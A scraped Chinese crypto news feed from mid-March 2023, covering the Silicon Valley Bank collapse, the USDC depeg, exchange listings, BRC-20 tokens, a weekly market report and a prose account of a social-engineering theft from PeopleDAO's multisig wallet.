由于OKX支持更多不同链上资产的充提（如Optimism、Arbitrum的USDC），且开通了更多流动性好的交易对（如ETH/USDC），短期内流入了更多资金。事后，币安也恢复了USDC/USDT交易对，并表示将开通ETH/USDC等交易对。   最后，PANews在这里要提醒大家，在进行链上操作时一定要小心。一个反面教材是，某用户将超过200万美元的Curve 3pool LP代币通过Kyber的聚合路由卖出，仅获得了0.05 USDT。原因在于该用户既没有按照流程操作（应当直接通过Curve赎回流动性），在兑换时也没有注意价格，最后被MEV机器人赚取超过200万美元的利润。  ( 4 min )
    币安将上线BNB/USDC、BTC/USDC和ETH/USDC交易对
    PANews 3月12日消息，据官方公告，币安将于北京时间3月12日14:30上线BNB/USDC、BTC/USDC和ETH/USDC交易对。  ( 4 min )
    赵长鹏转发旧闻或暗示收购传统银行
    PANews 3月12日消息，币安首席执行官赵长鹏在社交媒体转发四个月前雅虎财经报道，其中称币安正在考虑收购传统银行，赵长鹏表示可以将传统银行添加到币安的商业计划中，因为加密货币交易所寻求成为传统金融和加密货币之间的桥梁。赵长鹏目前尚未透露具体银行名称，但表示币安正在寻找拥有牌照的金融机构，包括传统银行和支付服务提供商。赵长鹏在社交媒体上写道：“现在是时候了吗？不太确定。”  ( 4 min )
    BitMEX创始人：设立破产银行存款担保基金将导致美联储重启印钞机
    PANews 3月12日消息，针对“美联储和FDIC正考虑设立基金，为更多陷入困境的银行提供存款担保”的新闻，BitMEX创始人Arthur Hayes评论称：“离印钞机启动越来越近。2008年他们首先尝试了问题资产救助计划（TARP），而市场持续下跌，金融机构不断破产。然后他们最终启动印钞机。我猜想这次可能会遵循类似的轨迹。”据此前消息，美国联邦存款保险公司（FDIC）和美联储正在考虑设立一只基金，使监管机构能够为硅谷银行倒闭后陷入困境的银行提供更多存款担保。据知情人士透露，监管机构在与银行业高管的谈话中讨论了这种新的特殊工具。他们希望建立这样一个工具能够安抚储户，并有助于遏制恐慌情绪。  ( 4 min )
    硅谷银行破产48小时！或还会引发科技企业裁员潮等连锁反应，压力给到美联储
    来源：雪球 3月10日，美国联邦存款保险公司发布的一份声明让美国硅谷银行光速走向破产倒闭，这也成了美国金融行业自2008年以来最大的倒闭事件。 有人把硅谷银行事件称为“创业公司的大灭绝级别事件”，也有人表示人生第一次亲身经历12小时知名银行从暴雷到挤兑到破产。 美国将近一半有风险投资支持的科技和生命科学的初创企业都曾和硅谷银行建立了融资关系，那么为什么硅谷银行会一夜爆雷呢？后续又会怎么演绎？事件还在不断进展，本文整理了48小时内市场进展以及媒体综合报道。‍‍‍‍‍‍‍ 硅谷银行作为众多初创企业和VC的身家所在，本次光速破产，也让不少创投公司、处于硅谷中心的科技公司正在经历史上最措手不及的黑暗时刻，据了解，有超过1000家YC企业全部的payroll都在硅谷银行，更不用说大量的VC基金和上市科技公司。‍ 财联社发文报道，知名创业孵化器Y Combinator总裁陈嘉兴在接受媒体采访时，把硅谷银行事件称为“创业公司的大灭绝级别事件”，陈嘉兴强调，如果这些企业需要等数周、甚至数月才能拿到钱，届时将毁掉美国整整一代的创业公司。 据第一财经报道，中国医疗初创公司创业者安迪（化名）表示，“从昨天（3月10日）开始我们就一直在设法转钱出去，但是还没有转出来，银行就先倒闭了，一切都发生得太快了。”目前，银行网站的状态显示正在维护中。 也有人在朋友圈表示，人生第一次亲身经历12小时知名银行从暴雷到挤兑到破产，火速完成资产转移，一觉以来后硅谷银行就已经破产了。 而这一系列也将引发的资金链断裂或将让发不出工资、裁员潮现象在硅谷科技公司上接连发生。 投资公司Liquid Stock的创始合伙人Greg Martin表示：超过50%的科技公司都将大部分现金存在硅谷银行，最糟糕的情况是，成千上万的硅谷“打工人”下周拿不到工资。由于雇佣员工不给工资是违法的，也不可避免的出现大规模裁员潮。 硅谷银行倒闭引发的恐慌情绪也正在硅谷蔓延，大量硅谷科技公司员工抱怨称，这将是硅谷“最黑暗的一天”。 硅谷银行为何暴雷？简单来讲，这是一次因利率上升而导致的流动性危机。硅谷银行为满足客户提取资金的需求，选择折价出售资产，但这一行为也引发市场对该银行偿付能力的质疑，最终加剧挤兑，引发市场波动。 曾经美联储实施宽松政策，让众多科技创业公司的资金流入硅谷银行这样的专注服务创业的商业银行随着存款暴增，硅谷银行大量购买美债和抵押支持债券。 美国进入加息周期后，硅谷银行持有的资产价格显著下跌，同时由于融资环境的变化，创业公司转而开始持续消耗存款，硅谷银行被迫出售资产，造成亏损，并最终引发了市场对金融体系的情绪蔓延。 同时在商业模式方面，硅谷银行和一般的商业银行也有所区别，它会通过发放贷款来换取客户的股权或期权。对于特别看好的客户，也会通过银行的VC部门参与投资，以获取资本增值等等。 积极指导，长期服务——我们携手最具创新活力的创始人、CEO和投资人，帮助他们在不断变化的创新经济中生存和发展。我们支持各成长阶段的企业，服务所有阶段、赛道和地区的投资者。 上述这段公司愿景到处了硅谷银行独特的价值，它也基本上是全世界上唯一一家如此定位的大型商业银行。 此次硅谷银行的暴雷会和08年一样引发系统性危机吗？ 首先硅谷银行的商业模式具有一定特殊性，它的客户群体主要是科创型企业，对流动性与科技周期过于敏感。 据创业邦报道，浙江财经大学金融学教授徐敏认为硅谷银行与雷曼兄弟不同，两者有着很大的差异。 “雷曼兄弟是一家投行，而硅谷银行是一家商业银行。而且，2008年金融危机之前，雷曼兄弟是美国排名第四的大投行，通过资产证券化，其杠杆率很高；加上其产品大量卖给全球各地的其他金融机构，因此，其爆雷后引发了连锁反应，影响的深度、广度是硅谷银行爆雷无法比拟的。”徐敏表示。 硅谷银行作为一家商业银行，其业务主要是存货款和债券投资。徐敏介绍说，美国银行的特点与我们国内的银行不同，最初是不允许跨州设立分支机构的。这就造成了美国的银行数量特别多，到目前仍有7000多家，绝大多数商业银行的规模相对较小。直到上世纪八十年代通过相应法案，才允许跨州设分支机构。即便是JP摩根、美国银行这样的大行，在美国国内也就十多个州有分支机构，更多的是靠海外业务大。 当然，硅谷银行在给高科技初创企业贷款时，也会用自有资本买入这些企业的少部分股权(或认股期权)，也一定程度上扮演了投行的角色。 当然，徐敏认为，硅谷银行破产带来的最大风险，在于这一事件带来的恐慌效应。“恐慌情绪会有传染性，如果恐慌情绪传递，接下来又有银行陆续倒闭，风险就难以估量了。” 同时，此次硅谷危机两天后，FDIC便出面接管，从恐慌情绪来说，也一定程度的做了遏制。 硅谷银行业务集中在科技、风险投资等领域，相对传统银行更少依赖个人储户存款。美联储激进加息，导致债券价格下跌，商业银行存款流失过快、融资成本增加。在这种背景下，硅谷银行并没有做好准备，导致眼下的困境。 但面临这种困境并非只有硅谷银行一家。 所以硅谷银行的光速倒闭，也引发了市场对美联储下一步加息的思考。 3月11日，新华社报道，分析人士表示，硅谷银行关闭凸显美国联邦储备委员会激进加息的负面影响。美联储激进加息，导致债券价格下跌，商业银行存款流失过快、融资成本增加。在这种背景下，硅谷银行并没有做好准备，导致眼下的困境。 在周五的事件前，市场仍在加息25和50个基点间摇摆。这也意味着在过去一年强势加息450个基点后，接下来至少还有50或75个基点的上升空间。 有“新美联储通讯社”之称的华尔街日报记者Nick Timiraos在最新文章里指出，硅谷银行倒闭引发的风波，大幅打消了市场对于50基点加息的预期。 兴业宏观团队认为，随着失业率回升等经济脆弱性的信号逐步显露，以及以科技公司为代表的企业所面临的盈利冲杀正逐步显现，叠加硅谷银行流动性事件，美联储回到加息50bp的可能性较低，因为本质上货币政策对冷却需求端的滞后效应正是联储在2月放缓加息的核心逻辑；但是，核心服务通胀粘性尚未解决，尤其是低端服务业的就业人数增幅和时薪环比均体现出韧性可能比想的更久，继续支撑“stay higher for longer”。  ( 4 min )
    FDIC、美联储和美国财政部将向加州议员汇报硅谷银行情况
    PANews 3月12日消息，据彭博社报道，三位知情人士透露，美国联邦存款保险公司(FDIC)和美联储计划于美东时间周六晚11点向加州国会代表团汇报硅谷银行情况。此外，美国财政部将于周日下午1点举行单独的简报会。据此前消息，知情人士透露，FDIC和美联储正在考虑设立一只基金，让监管机构能够为硅谷银行倒闭后陷入困境的银行提供更多存款担保，以此安抚储户，遏制恐慌情绪。  ( 4 min )
    赵长鹏：银行对法币支持的稳定币构成风险
    PANews 3月12日消息，币安CEO赵长鹏推特发文称，对于法币支持的稳定币，银行是一个风险。有推特用户评论称，“我们需要加密货币支持的稳定币。”赵长鹏对此回应称，“Do Kwon实际上想法是正确的，只是在执行上惨遭失败。”  ( 4 min )
    加密KOL：First Republic Bank濒临破产
    PANews 3月12日消息，据推特用户@AP_Abacus透露，First Republic Bank濒临破产，员工正在做最坏的打算。据此前消息，《富爸爸穷爸爸》作者罗伯特·清崎也表示，在硅谷银行和Silvergate Bank两家大银行相继倒闭后，第三家银行也即将倒闭，但他没有透露该银行的名称。  ( 4 min )
    《富爸爸穷爸爸》作者：还有银行即将倒闭，建议买入黄金和白银
    PANews 3月12日消息，《富爸爸穷爸爸》作者罗伯特·清崎在推特发文称，在硅谷银行和Silvergate Bank两家大银行相继倒闭后，第三家银行也即将倒闭，但他没有透露该银行的名称。他建议买入黄金和白银，同时应远离ETF。罗伯特·清崎曾于2008年接受CNN采访时预测了雷曼兄弟倒闭。  ( 4 min )
    Ordinals协议的新实验同质化代币“BRC-20”是什么？
    作者 | Decrypt Jason Nelson 编译 | PANews 如果你觉得比特币NFT协议Ordinals是昙花一现，那么这个想法可能会让你“打脸”，因为通过将NFT内容刻入比特币区块链的想法不断引起社区的关注，而且也不再局限于“非同质化代币（NFT）”，现在已经有人想出了使用Ordinals协议来铸造一种“同质化代币（fungible tokens）”。 根据Duna Analytics数据显示，3月9日Ordinals协议的铸造铭文数量突破3万，达到31692个，创下迄今为止单日最高铸造记录。之所以会出现这种情况，是因为比特币社区用户@domodata启动了一场基于Ordinals协议的新实验“BRC-20”，旨在通过Ordinals协议在比特币网络上实现像在以太坊网络上发行ERC-20代币的效果，人们通过比特币区块链铸造和转移他们喜欢的代币。   “BRC-20”代币可能是Ordinals协议的最新用例，虽然这个协议曾激怒了一些比特币极端主义者，但随着越来越多创作者和收藏家汇聚到比特币，也让社区对这个最古老区块链不断扩张的可能性感到兴奋。 本周四，一个名为“Domo”的匿名比特币社区用户在社交媒体上宣布推出“BRC-20”，这个名字是“比特币评论请求”英文名Bitcoin Request for Comment的首字母缩写，灵感来自于Sats Names (.sats)域名标准。 Domo表示：“过去几天我在Twitter上听说了BRC-20的可能性，很好奇是否可以应用.sats 域名格式来创建它，基本上，我想做的是看看是否可以使用手头上的工具（比如Dune Analytics）和铭文创建链下状态。”  事实上，如上图所示，只需按照BRC-20标准就可以部署BRC-20代币，相关标准概念如下： 从3月9号开始，Domo的“BRC-20代币”拉开序幕，自那以后，用户通过BRC-20和Ordinals协议部署了受Meme启发的代币，比如Doge、Pepe等。另据Dune Analytics分析（如下图所示），自BRC-20实施上线以来创建的绝大多数序号铭文都是基于文本，其次是图片、应用程序和视频。 Ordinals引发的比特币铭文热潮短时间内似乎不会消退 截止目前，总计已有近40万条铭文是通过Ordinals协议完成的，几乎所有铭文都是在过去六周内铸造的。NFT分析师Leonidas认为，基于文本的比特币铭文越来越流行，这也是一种趋势，因为文本格式规模很小，大概只有几个字节，而铸造费用与所铸造的文件大小是成正比的，所以铸造JSON（代码）或文本的费用显然要低得多。 不仅如此，随着比特币网络完成隔离见证（Segwit）和Taproot升级，越来越多的NFT爱好者开始来到原始区块链网络来铸造“比特币NFT”，虽然功能和“以太坊NFT”不完全相同，但最终结果是相似的，Ordinals开始席卷加密世界。 根据Galaxy Research上周发布的一份报告显示，预计到2025年，迅速崛起的比特币NFT市场价值可能达到45亿美元。目前而言，Ordinals协议已被广泛用于链上铭文，其中包括艺术品、个人资料图片、可玩游戏和基于视频的网络应用程序。就连“无聊猿”Bored Ape Yacht Club的母公司Yuga Labs也通过Ordinals协议拍卖了自己的原创艺术收藏品并在此过程中获利1650万美元。 尽管社交媒体上对BRC-20代币热议不断，但作为提出这一概念的Domo坦言，不应该将BRC-20视为基于比特币的代币“标准”，他甚至告诫人们不要大量铸造此类代币并称此类代币“毫无价值”，还建议其他构建者设计和编码更强大的解决方案。 但毫无疑问，BRC-20已成为比特币区块链扩展的一个新起点，即使是一个有趣的实验，BRC-20的推出也已经吸引了很多比特币用户关注，未来的想象空间也很大，正如Domo所说——反应比预期的要好。 “归根结底，这是一个实验，我认为大多数人都明白这一点，而那些尝试过BRC-20的人们似乎都很开心。”  ( 4 min )
    FDIC正出售硅谷银行资产，最快将于周一向客户返还部分无保险存款
    PANews 3月12日消息，据彭博社报道，据、知情人士透露，美国联邦存款保险公司（FDIC）正在出售资产，并最快于周一向客户返还部分无保险存款。知情人士表示，该金额为未投保存款的30%到50%不等，甚至更多。随着银行资产的出售，将有更多现金可以提供给客户。据悉，硅谷银行的企业客户迫切希望获得资金，以维持运营和员工的工资。尽管FDIC为最高25万美元的存款提供保险，但存于硅谷银行的资金远远超过这一数字。FDIC周五表示，未投保存款的金额仍在确定中，将很快向没有保险的储户发放提前股息。  ( 4 min )
    美联储和FDIC正考虑设立基金，为陷入困境的银行提供存款担保
    PANews 3月12日消息，据彭博社报道，美国联邦存款保险公司（FDIC）和美联储正在考虑设立一只基金，使监管机构能够为硅谷银行倒闭后陷入困境的银行提供更多存款担保。据知情人士透露，监管机构在与银行业高管的谈话中讨论了这种新的特殊工具。他们希望建立这样一个工具能够安抚储户，并有助于遏制恐慌情绪。本周五，SVB成为10多年来倒闭的最大美国银行。加州监管机构已接管了该银行，就在去年，其估值还超过400亿美元。  ( 4 min )
    市场春寒料峭，抄底情绪浓郁 | 市场周报
    市场观点： 1. 宏观流动性 货币流动性趋紧。美联储主席鲍威尔鹰派发言，利率峰值可能高于预期，如有必要将提速加息。3月议息会议前的经济数据仍然坚挺，市场预期3月加息50个基点概率从30%提升到70%，并将利率峰值预期上调25个基点。但长期看，美股纳斯达克指数月线级别上涨，美元指数月线级别下跌，未来一年加密市场易涨难跌。 2. 全市场行情 市值排名前100涨幅榜： 本周市场大幅走低，BTC统治率上升。美国监管加强，市场热点纷纷熄火。 KAVA：为Cosmos生态的EVM公链，刚成立生态基金。有资金冲ve33模式的新矿Equilibre Finance，挖矿收益率高。 PENDLE: 为利率衍生品协议，刚拓展到Arbitrum链，可以一定折扣购买资产，但有锁定期。 ACS: 为内容货币化协议，韩国资金炒作。Access是Solana链生态，2月上线Coinbase，可用于支付订阅创作者内容如The Block、Coingecko等。 3.1 链上数据 BTC持有者结构类似上个熊市末期水平。近期市场反弹后，持有BTC半年内的投资者盈利比例，从2.5%的熊市水平快速上升至15%，与2018-2019年熊市低点的复苏模式非常类似。市场结构仍处于熊市到牛市的过渡阶段。 场内资金持平。市场整体仍处于资金存量博弈阶段。由于美国加强对稳定币监管，BUSD市值持续下降。币安寻求其他稳定币的替代方案，TUSD在币安交易所储备比例提升到1.7%。 长期趋势指标MVRV-ZScore以市场总成本作为依据，反映市场总体盈利状态。当指标大于6时，是顶部区间；当指标小于2时，是底部区间。MVRV跌破关键水平1，持有者总体上处于亏损状态。当前指标为0.14，脱离了绿色抄底区间。 3.2 期货行情 期货资金费率：本周费率为正，处于正常水平。费率0.05-0.1%，多头杠杆较多，是市场短期顶部；费率-0.1-0%，空头杠杆较多，是市场短期底部。 期货持仓量：本周总持仓量下降，部分市场主力撤退。 期货多空比：2.4。散户抄底情绪较高，散户情绪多为反向指标，1.7-2.0以上比较危险。多空比数据波动大，参考意义有所削弱。 3.3 现货行情 本周BTC震荡下跌。行情由于美国加息预期面临新的不确定性，但长期周线反弹趋势仍未破坏。接下来的3月14日CPI和22日加息将是市场关注重点，无论利空靴子落地，还是预期消化利空不跌，20000左右的BTC都是长期良好的建仓机会。 市场数据：1. 公链总锁仓量情况 2.各公链TVL占比情况 本周TVL下降幅度较大，受到各方面因素的影响，下跌4.7b，市场抄底情绪浓郁。ethereum及layer2公链基本都收到市场影响开始下跌，在layer2公链中，arbitrum、optimism、avalanche跌幅均超过10%。另外KAVA 7日内上涨35%。 3.1 ETH锁仓量情况3.2 BSC锁仓量情况3.3 Tron锁仓量情况3.4 Avalanche锁仓量情况3.5 Polygon锁仓量情况3.6 Arbitrum锁仓量情况3.7 Optimism锁仓量情况4.ETH Gas fee历史情况 当前链上转账费用约为0.83美元，Uniswap交易费用约为7.59美元，Opensea的交易费用约为2.95美元，基本与上周同期持平，市场活性还未逆转，处于底部区间。blur依然是gas消耗大户，维持上周水平保持在第一位。 5.1 NFT指数市值：5.2 NFT市场交易概览：5.3 NFT市场交易情况：5.4 NFT市场买方分析： 近两周可以看到Blur的热度已经维持在一个稳定的水平，占据的市场份额也保持在40%左右，本周NFT买方的数量明显回升，first time buyer涨幅较大。蓝筹项目中，BAYC的地板价七日下跌5.69%，MAYC下跌4.52%。  ( 5 min )
    Maker已投票通过USDC等相关参数变更紧急提案
    PANews 3月12日消息，据官方消息，Maker Governance已投票通过昨日发起的一系列参数变更紧急提案，提交的参数变更计划在北京时间3月14日0点14分部署。据此前消息，MakerDAO治理社区发起紧急提案，提议变更USDC相关资产风险和治理参数，将 UNIV2USDCETH-A、UNIV2DAIUSDC-A、GUNIV3DAIUSDC1-A 以及 GUNIV3DAIUSDC2-A 等USDC相关LP作为抵押品的债务上限降至 0。 此外，提案还要求更改PSM-USDC-A、PSM-GUSD-A等锚定稳定模块的部分参数以降低协议风险。  ( 4 min )
    硅谷银行获得红杉资本等超过100家风投公司支持
    PANews 3月12日消息，据彭博社报道，超过100家风险投资公司签署了一份支持硅谷银行的声明。该声明由风投公司General Catalyst牵头，据一位知情人士透露，截至旧金山时间周六下午，包括红杉资本在内的约125家风投公司已在声明上签名。声明称，过去两天发生的事件令人深感失望和担忧，并表示，如果该机构被另一个实体收购，投资者将继续与该机构保持关系。 与此同时，创业孵化器Y Combinator周六发布了一份由数百名创始人和首席执行官签署的请愿书，致美国财政部长耶伦和其他监管机构，要求对在硅谷银行存款的小企业进行补偿，并要求国会恢复对地区银行更严格的监管和资本要求。  ( 4 min )
    Blockchain.com：钱包已提供稳定币交易
    PANews 3月12日消息，Blockchain.com推特发文称，钱包现已提供稳定币交易。此前，Blockchain.com表示暂停了交易所的PAX和USDC交易，并计划很快重新开始转换。  ( 4 min )
    Nansen创始人：相信Circle和USDC可以挺过难关，建议不公开呼吁救助
    PANews 3月12日消息，Nansen创始人Alex Svanevik推特发文称，认为Circle和USDC可以挺过难关，接下来几天需要一流的执行力。他表示会关注4件事：1. 周一开始的无缝赎回；2.CEO每日在推特上发布准确的赎回数字；3. 周末与十大做市商对话，他们需要100%信任赎回；4. 不公开呼吁救助。  ( 4 min )

  • Open

    【长推】观点：终局思维并非区块链投资的唯一逻辑
    Chainfeeds 导读： 经纬中国研究员 Zixi 从投资角度类比 Web2 的 QQ 农场和 Web3 的 Quest3 及 Galxe，认为 Token 的存在让过渡态的产品为用户和投资人产生了极高的价值和退出路径。Zixi 还认为，Token 能够让每一个产品都在特定的时间点发光发热，在区块链这个高速运转且流动性更加便利的世界，终局逻辑以外的中间型方案同样具有投资价值。 文章来源： https://twitter.com/Zixi41620514/status/1634531213234032644 文章作者： Zixi 观点： Zixi：在目前 C 端没有最终的落地应用前，用户压根不知道要去哪些应用。Quest3/Galxe 的积分墙成为了一个非常棒的流量聚合器，通过任务 + 奖励的方式将用户导流到项目里，处境类似于 Web2 的 QQ 农场。这在 Web2 可能不是一个好的 deal，因为退出路径不清晰。但在 Web3，只需要发币 + 社区共识 + 项目方不断努力，就能创造出一个又一个独角兽。投资人的退出不再模糊，用户也能享受产品成长的权益。 内容来源 Zixi：一代产品有一代产品的使命，但 Token 的存在让每个产品都在特定的时间点发光发热。时间拉到几年前，从公链来看，各种 ether killer 及 Alt L1，如波卡、Solana 等在上轮牛市已经完成了使命。波卡的卡槽拍卖做出了一个又一个好公链；Solana 即使经常宕机，但便宜 + 快速 + 安全也在 2021 的牛市大放异彩。从游戏来看，axie 虽然可玩性一般，但让众多 Web2 基金和互联网大厂注意到 crypto；Stepn 就算庞，但吸引了一众用户和新钱进场。 内容来源 Zixi：我们投项目很多时候是终局思维，即最终的竞争格局应该是怎么样，就往这个方向投，这在区块链这个高速运转且流动性比传统金融更加便利的世界可能有一定问题。大家可能都相信模块化区块链，以太坊主链做结算和共识，Layer2 做执行， DA 做数据存储。这可能是一个终局路线，但我们还是能看到其他中间性方案和 ether killer 的意义。即使它们最终被淘汰，但项目方 / 投资人 / 早期用户都享受到了其成长带来的价值。 内容来源  ( 2 min )
    FDIC 已入驻 First Republic Bank，该行资金电汇交易将于今日完全停止
    FDIC 已入驻 First Republic Bank，该行资金电汇交易将于今日完全停止 Alpine Fox LP 创始人兼管理合伙人 Mike Alfred 发推表示，美国联邦存款保险公司（FDIC）已经进驻 First Republic Bank 现场，试图确定保护储户的最佳途径。考虑到已经达到临界点的加速银行挤兑，事情的发展速度比预期要快得多。First Republic Bank 从今天（3 月 12 日）开始限制汇出电汇交易，并将在今天结束时完全停止处理电汇交易。目前该银行电汇交易处理措辞已改为「感谢您的交易，我们会尽快回复您」。 内容来源  ( 2 min )
    PeopleDAO 多签钱包遭社会工程攻击，损失 76 枚 ETH
    PeopleDAO 多签钱包遭社会工程攻击，损失 76 枚 ETH PeopleDAO 在数字资产管理平台 Safe（原 Gnosis Safe）上的社区金库多签钱包在 3 月 6 日发放月度贡献者奖励时，被黑客通过社会工程攻击盗取 76 枚 ETH（约 12 万美元）。 该事件与 PEOPLE 代币合约无关。PeopleDAO 通过 Google Form 收集月度贡献者奖励信息，会计负责人在 Discord 公共频道中错误共享了一个具有编辑权限的链接，黑客通过该链接获得编辑权限后，在表格中插入一笔向自己地址支付 76 枚 ETH 的付款，并将其设置为不可见。由于恶意隐藏，团队领导在复查期间没有发现，下载带有 insertef 数据的 csv 文件并提交到 Safe 的 CSV Airdrop 工具进行奖励发放。由于交易中有 80 笔转账，9 个多签账户中有 6 个没有注意到恶意转账，签署并执行了交易，将 76 枚 ETH 发送至黑客地址。 内容来源 观点： PeopleDAO：在慢雾和 ZachXBT 的协助下，我们发现被攻击资金随后存入 HitBTC 和 Binance 两个交易所，我们在损失发生后立即联系了他们。此外，PeopleDAO 已向美国联邦调查局（FBI）和联邦贸易委员会（FTC）报告通过此次案件，并将继续与多方合作，找到黑客并收回资金。如果黑客在接下来 48 小时内归还被盗资金，我们将向其提供 10% 的白帽赏金。【原文为英文】 内容来源 PeopleDAO：汲取教训：1）严格控制会计表的访问权限；2）多重签名者在签名前应检查每一个细节；3）Safe 需要一个更好的用户界面，以显示交易总金额，如 ETH 和 PEOPLE 的转移总金额。【原文为英文】 内容来源  ( 2 min )
    zkData Attestation，借助密码学实现「万物皆可证明」
    Chainfeeds 导读： 密码学技术提供商 PADO Labs 提出 zkData 机制设想，旨在在保护隐私的同时，让一个使用 MPC 和 ZKP 技术的「安全见证人」来观察甚至参与整个通信过程，并给出数据认证结论。 文章来源： https://foresightnews.pro/article/detail/27440 文章作者： PADO Labs 观点： PADO Labs：假设一位罕见病患者 Bob 在互联网医院存放了个人电子病历，希望借助 charityDAO 获得救助改善治疗困境。基于零知识证明和安全多方计算的 zkData Attestation 提供了一种「见证人机制」。大体上讲，zkData Attestation 引入一个计算节点 Pauli，全流程参与 Bob 和医院之间的会话，并对 Bob 从医院数据接口获取的信息进行「黑盒」式认证和签名。charityDAO 对 Pauli 的签名进行验证，从而确认 Bob 电子病历数据的真实性。 内容来源 PADO Labs：这种前置式的检查，极大提升了链下数据的可验证性，并且与当前的 EAS 框架完全兼容。升级计算节点成为一个标准的以太坊 Attestor，通过 EAS 提供的模式注册服务，支持任何人使用 zkData Attestation。在 EAS 或其他类似公共证明框架下，将用户链下数据通过可验证和隐私友好的方式转化为标准化数据证明，从而促更多的创新应用，例如分布式信用借贷、慈善 DAO 等。 内容来源 PADO Labs：从应用安全的视角来看，任何人都可以运行一个这样的计算节点，为任意使用方（个人、合约或在线服务等）提供链下数据真实性的背书，并获取相应服务收益。受益于 HTTPS/TLS 协议足够成熟的商业化效应，几乎所有接入互联网的用户数据价值均可被 zkData Attestation 捕获，通过用户自主授权分享给链上应用。 内容来源  ( 7 min )
    如何利用「USDC 危机」套利？这 17 位「超级大户」的手法如下
    Chainfeeds 导读： 受硅谷银行破产影响，USDC 本周末开始脱锚并一度跌至 0.87 美元低点（今早已恢复至 0.96 美元上方）。在此过程中，有人选择恐慌抛售，也有人探底买入。Lookonchain 分析链上数据，整理总结多家机构投资者分别如何应对这场 USDC 脱锚危机。中文版由 Odaily 星球日报译者 Moni 编译发布。 文章来源： https://www.odaily.news/post/5185667 文章作者： Lookonchain 观点： Lookonchain：概括来说，Jump Trading、Wintermute Trading、Genesis Trading 和 BlockTower Capital 在周末银行休市前通过 Circle 和 Coinbase 将 USDC 兑换成了美元现金，而 Vitalik、Poap.xyz 创始人 worthalter 和 Taureon Capital 则在底部买入了 USDC。 内容来源 Lookonchain：另一方面，孙宇晨、IOSG Ventures、Kyber Ventures、Chain Capital、Hashed、Spartan Group、Signum Capital、Infinity Ventures Crypto、LD Capital、LedgerPrime、Dokia capital 和 Alpha Citadel Ventures 则将 USDC 兑换成了 DAI、USDT、USDP、BUSD 和 ETH 等其他加密货币尝试套利。 内容来源  ( 7 min )
    【英文长推】如何正确看待 USDC 风险敞口：分析三个不同阵营的应对方式
    Chainfeeds 导读： Caleb & Brown 首席执行官 Jackson Zeng 认为当前市场大部分用户普遍缺乏对破产和稳定币储蓄工作的理解，并对三个阵营基于对 USDC 在 SVB 的风险敞口的不同理解采取的行动进行解读。 文章来源： https://twitter.com/im_jacksonzeng/status/1634466362222587904 文章作者： Jackson Zeng 观点： Jackson Zeng：1）阵营一：过于简单的假设，但明智的风险管理。这部分人误解了硅谷银行的风险敞口，但采取了正确的行动。他们认为 400 亿美元的 USDC 储备中有 33 亿美元保存在硅谷银行，因此 USDC 的价值应该是 0.92 美元，并从 0.98 到 0.94 进行恐慌性抛售。【原文为英文】 内容来源 Jackson Zeng：2）阵营二：精明的分析家，但缺乏银行运作经验。这部分人了解 33 亿美元的风险敞口并没有全部损失（可能只损失了 2-3 亿），因此认为 USDC 的价值是 0.995 美元。很多人表示在 0.94 美元左右做多 USDC，这是一个巨大的错误！【原文为英文】 内容来源 Jackson Zeng：3）阵营三：知道两者都是错的，但和阵营一采取同样行动。这部分人了解即使 SVB 只损失了 2 亿美元，但 33 亿美元的债权仍然是不确定的。如果没有救助，储户在破产程序中会被视为债权人。【原文为英文】 内容来源 Jackson Zeng：因此，这不是 8.25%，而是 33 亿美元的非流动性 SVB 债权风险（绝对值比百分比更重要）。真正的答案是：当 Circle 用户以 1:1 赎回时，脱锚会逐渐恶化。随着人们意识到这一风险，价格将再次下跌。【原文为英文】 内容来源  ( 2 min )
    知情人士：FDIC 正在出售资产，为硅谷银行客户提供未投保存款
    知情人士：FDIC 正在出售资产，为硅谷银行客户提供未投保存款 据彭博社援引知情人士报道，美国联邦存款保险公司（FDIC）正在出售资产，并尽快在周一提供硅谷银行部分客户的未投保存款。知情人士称，出售资产金额是未投保存款的 30-50% 或更多。 当前，硅谷银行的企业客户迫切需要资金维持业务运营和支付员工工资。FDIC 表示，未投保存款数额仍在确定中，将很快向未投保储户发放预付股息，并在之后支付。 内容来源  ( 2 min )
    知情人士：FDIC 和美联储正考虑设立基金，为陷入困境的银行提供存款担保
    知情人士：FDIC 和美联储正考虑设立基金，为陷入困境的银行提供存款担保 据彭博社报道，美国联邦存款保险公司（FDIC）和美联储正在考虑设立一只基金，使监管机构能够为硅谷银行倒闭后陷入困境的银行提供更多存款担保。 据知情人士透露，监管机构在与银行业高管的谈话中讨论了这种新的特殊工具，他们希望设立这样一种工具可以安抚储户，并帮助遏制恐慌情绪。就此，美联储代表拒绝置评。FDIC 代表没有立即回应置评请求。 内容来源 观点： Arthur Hayes（BitMEX 创始人）：离印钞机越来越近了。记得在 2008 年，他们首先尝试了 TRAP（Troubled Asset Relief Program），市场不断下跌，金融机构不断破产，然后他们最终打开了印钞机。我猜想这次可能会遵循类似的轨迹。让我们看看火箭筒有多大。【原文为英文】 内容来源  ( 2 min )
    硅谷银行获得红杉资本等超过 100 家风投公司和投资者支持
    硅谷银行获得红杉资本等超过 100 家风投公司和投资者支持 据彭博社报道，超过 100 家风险投资和投资公司签署了一份支持硅谷银行的声明，旨在降低硅谷银行倒闭的影响，避免科技公司出现「灭绝级事件」。 据一位知情人士透露，截至旧金山时间周六下午，包括红杉资本在内的约 125 家风投公司签署了这份由 General Catalyst 牵头的声明。声明称，过去两天发生的事件「令人深感失望和担忧」，并表示，如果该机构被另一个实体收购，投资者将继续与该机构保持关系。 与此同时，创业孵化器 Y Combinator 于周六向美国财政部长耶伦和其他监管机构发布了一份由数百名创始人和首席执行官签署的请愿书，要求将在硅谷银行存入资金的小企业进行整合，并要求国会「恢复对地区性银行更严格的监管和资本要求」。 内容来源  ( 2 min )
    Maker Governance 已投票通过变更 USDC 等资产相关参数紧急提案，将于 48 小时内链上执行
    Maker Governance 已投票通过变更 USDC 等资产相关参数紧急提案，将于 48 小时内链上执行 Maker Governance 已投票通过昨日发起的一系列参数变更紧急提案，提交的参数变更计划在 48 小时内部署，即北京时间 3 月 14 日 0:14。 据悉，提议变更 USDC 相关资产风险和治理参数，将 UNIV2USDCETH-A、UNIV2DAIUSDC-A、GUNIV3DAIUSDC1-A 以及 GUNIV3DAIUSDC2-A 等 USDC 相关 LP 作为抵押品的债务上限降至 0。此外，提案还提议更改 PSM-USDC-A、PSM-GUSD-A 等锚定稳定模块的部分参数以减轻协议风险。 内容来源  ( 2 min )

  • Open

    数据：USDC已回升至0.97美元上方
    PANews 3月12日消息，CoinMarketCap数据显示，USDC价格已回升至0.97美元上方，目前报0.9737美元。  ( 4 min )
    Circle公告：将使用公司资源和外部资本弥补任何短缺
